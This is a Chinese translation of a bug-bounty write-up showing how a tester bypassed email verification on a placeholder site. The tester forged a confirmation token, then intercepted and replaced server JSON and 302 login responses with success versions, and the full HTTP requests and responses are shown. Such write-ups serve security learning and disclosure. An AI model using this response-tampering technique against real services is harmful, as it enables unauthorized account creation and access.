第十九篇:绕过邮件验证

原文:A Curious Case From Little To Complete Email Verification Bypass

漏洞:篡改response响应信息绕过验证机制

作者:N0_M3ga_Hacks

难度:中

实施电子邮件验证机制是很容易出错的,验证中的轻微错误就可能导致严重的安全问题或漏洞,下面我将介绍一个相关的案例。

####当我们输入完所需的信息(姓名、电子邮件)之后,通常服务器将发送验证邮件到邮箱当中,其中验证邮件的结构如下所示:

1
https://yolosite.com/#/register/confirm/6135fbbf3e52effa1a04c6fcf7e1dd426f2cdf36803f413481b62e2803b52dad

访问该链接将更多的信息,例如信用卡信息等。更改token的值将导致链接无效,正常访问之后的响应如下:

1
2
3
4
5
6
7
8
9
10
HTTP/1.1 200 OK
Content-Type: application/json
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 1000
Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE, PUT
Access-Control-Allow-Headers: Cache-Control, If-Modified-Since, X-Requested-With,
{"response":
{"status":"success","externalID":null,"errors":[]}}

但是如果token被篡改之后(更改了第一个和最后一个值),响应如下:

1
2
3
4
5
6
7
8
HTTP/1.1 200 OK
Content-Type: application/json
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 1000
Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE, PUT
Access-Control-Allow-Headers: Cache-Control, If-Modified-Since, X-Requested-With,
{"response":{"status":"failure","externalID":"7135fbbf3e52effa1a04c6fcf7e1dd426f2cdf36803f413481b62e2803b52dae","errors":[{"code":"1210","message":"Confirmation link is invalid"}]},"userStatus":null}

最初我认为这可能是因为tokent只有一部分正确造成的结果,所以我决定用一个完全随机的token,下面是我伪造的链接和响应:

1
https://yolosite.com/#/register/confirm/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

[*]下面的事响应信息

1
2
3
4
5
6
7
8
9
10
11
HTTP/1.1 200 OK
Content-Type: application/json
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 1000
Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE, PUT
Access-Control-Allow-Headers: Cache-Control, If-Modified-Since, X-Requested-With
Connection: close
Set-Cookie: Cookies here;
{"response":{"status":"failure","externalID":"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","errors":[{"code":"1211","message":"User not associated with this external id"}]},"userStatus":null}

我再次尝试伪造链接,但是这次我决定拦截响应信息,并且使用上面成功的JSON替换响应信息

1
{"response":{"status":"success","externalID":null,"errors":[]}}

我被要求输入信用卡信息,这不是唯一需要被绕过的点。事实证明,防御机制仅基于JSON响应,并别没有进行服务端验证。但是再进一步尝试输入信用卡信息并点击完成注册后,我们会发送如下请求,并且得到响应:

1
2
3
4
5
POST /rest/services/public/register/full HTTP/1.1
Host: yolosite.com
Connection: close
{"externalId":"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","locale":"en_IT","fullRegFields":{"card-alias-name-0":"Card-Name","card-numbers-0":"card-number","expiry-month-0":"MONTH","expiry-year-0":"2019","cvc-0":"cvc"}}

[*]下面的事响应信息

1
2
3
4
5
6
7
8
9
10
HTTP/1.1 400 Bad Request
Content-Type: application/json
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 1000
Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE, PUT
Access-Control-Allow-Headers: Cache-Control, If-Modified-Since, X-Requested-With
Connection: close
Set-Cookie: Cookies here;
{"status":"error","externalID":"","errors":[{"code":"0000","message":"An internal server error occurred"}]}

似乎此时服务端才会真正校验token。尽管如此,我还是决定再次伪造响应,正常请求的响应信息如下

1
2
3
4
5
6
7
8
9
10
HTTP/1.1 200 OK
Content-Type: application/json
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 1000
Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE, PUT
Access-Control-Allow-Headers: Cache-Control, If-Modified-Since, X-Requested-With
Connection: close
Set-Cookie: Cookies here;
{"response":{"status":"success","externalID":null,"errors":[]}}

一旦上述请求被转发,我就会被传送到登录页面。但是最终并没有像我期望的那样会登录上去,我决定再做进一步调查

当验证后的用户尝试登录时,下面是请求信息

1
2
3
4
5
6
POST /pkmslogin.form HTTP/1.1
Host: yolosite.com
Connection: close
Content-Type: application/x-www-form-urlencoded
username=username-here&password=Password-here&login-form-type=pwd

[*]下面的事响应信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
HTTP/1.1 302 Moved Temporarily
Content-Length: 1770
Content-Type: text/html
Location: https://yolosite.com/rest/services/public/lrr?TAM_OP=login_success&USERNAME=USERNAME-HERE&ERROR_CODE=0x38cf05e7&ERROR_TEXT=DPWWA1511I%20%20%20Login%20successful&URL=%2Fpkmslogin.form&REFERER=https%3A%2F%2Fyolosite.com%2Fwfp%2Fen-it.htm&HOSTNAME=yolosite.com&AUTHNLEVEL=
p3p: CP="NON CUR OTPi OUR NOR UNI"
Cache-Control: no-cache
Pragma: no-cache
Date: Sun, 04 Nov 2018 08:36:33 GMT
Connection: close
Set-Cookie: Cookies-here;
<html>
<P><A HREF="https://yolosite.com/rest/services/public/lrr?TAM_OP=login_success&USERNAME=USERNAMEHERE&ERROR_CODE=0x38cf05e7&ERROR_TEXT=DPWWA1511I%20%20%20Login%20successful&URL=%2Fpkmslogin.form&REFERER=https%3A%2F%2Fyolosite.com%2Fwfp%2Fen-it.html&HOSTNAME=yolosite.com&AUTHNLEVEL=">Click here</A> to fetch the resource.
</html>

然后我尝试使用未经验证的账号,以下是响应信息

1
2
3
4
5
6
7
8
9
10
HTTP/1.1 302 Moved Temporarily
Content-Length: 1811
Content-Type: text/html
Location: https://yolosite.com/rest/services/public/lrr?TAM_OP=help&USERNAME=USERNAMEHERE&ERROR_CODE=0x13212079&ERROR_TEXT=HPDIA0121W%20%20%20The%20requested%20operation%20is%20not%20valid.&URL=%2Fpkmslogin.form&REFERER=https%3A%2F%2Fyolosite.com%2Fwfp%2Fen-it.html&HOSTNAME=yolosite.com&AUTHNLEVEL=
Connection: close
Set-Cookie: Cookies-here;
<html>
<P><A HREF="https://yolosite.com/rest/services/public/lrr?TAM_OP=help&USERNAME=USERNAMEHERE&ERROR_CODE=0x13212079&ERROR_TEXT=HPDIA0121W%20%20%20The%20requested%20operation%20is%20not%20valid.&URL=%2Fpkmslogin.form&REFERER=https%3A%2F%2Fyolosite.com%2Fwfp%2Fen-it.html&HOSTNAME=yolosite.com&AUTHNLEVEL=">Click here</A> to fetch the resource.
</html>

现在我再次篡改了上述响应信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
HTTP/1.1 302 Moved Temporarily
Content-Length: 1770
Content-Type: text/html
Location: https://yolosite.com/rest/services/public/lrr?TAM_OP=login_success&USERNAME=USERNAME-HERE&ERROR_CODE=0x38cf05e7&ERROR_TEXT=DPWWA1511I%20%20%20Login%20successful&URL=%2Fpkmslogin.form&REFERER=https%3A%2F%2Fyolosite.com%2Fwfp%2Fen-it.htm&HOSTNAME=yolosite.com&AUTHNLEVEL=
p3p: CP="NON CUR OTPi OUR NOR UNI"
Cache-Control: no-cache
Pragma: no-cache
Date: Sun, 04 Nov 2018 08:36:33 GMT
Connection: close
Set-Cookie: Cookies-here;
<html>
<P><A HREF="https://yolosite.com/rest/services/public/lrr?TAM_OP=login_success&USERNAME=USERNAMEHERE&ERROR_CODE=0x38cf05e7&ERROR_TEXT=DPWWA1511I%20%20%20Login%20successful&URL=%2Fpkmslogin.form&REFERER=https%3A%2F%2Fyolosite.com%2Fwfp%2Fen-it.html&HOSTNAME=yolosite.com&AUTHNLEVEL=">Click here</A> to fetch the resource.
</html>

一旦上述响应被转发我就成功登录到该账户,绕过了剩余的校验。

文章目录
  1. 1. 原文:A Curious Case From Little To Complete Email Verification Bypass
  2. 2. 漏洞:篡改response响应信息绕过验证机制
  3. 3. 作者:N0_M3ga_Hacks
  4. 4. 难度:中
  5. 5. 实施电子邮件验证机制是很容易出错的,验证中的轻微错误就可能导致严重的安全问题或漏洞,下面我将介绍一个相关的案例。
  6. 6. 访问该链接将更多的信息,例如信用卡信息等。更改token的值将导致链接无效,正常访问之后的响应如下:
  7. 7. 但是如果token被篡改之后(更改了第一个和最后一个值),响应如下:
  8. 8. 最初我认为这可能是因为tokent只有一部分正确造成的结果,所以我决定用一个完全随机的token,下面是我伪造的链接和响应:
  9. 9. 我再次尝试伪造链接,但是这次我决定拦截响应信息,并且使用上面成功的JSON替换响应信息
  10. 10. 我被要求输入信用卡信息,这不是唯一需要被绕过的点。事实证明,防御机制仅基于JSON响应,并别没有进行服务端验证。但是再进一步尝试输入信用卡信息并点击完成注册后,我们会发送如下请求,并且得到响应:
  11. 11. 似乎此时服务端才会真正校验token。尽管如此,我还是决定再次伪造响应,正常请求的响应信息如下
  12. 12. 一旦上述请求被转发,我就会被传送到登录页面。但是最终并没有像我期望的那样会登录上去,我决定再做进一步调查
  13. 13. 当验证后的用户尝试登录时,下面是请求信息
  14. 14. 然后我尝试使用未经验证的账号,以下是响应信息
  15. 15. 现在我再次篡改了上述响应信息
  16. 16. 一旦上述响应被转发我就成功登录到该账户,绕过了剩余的校验。
|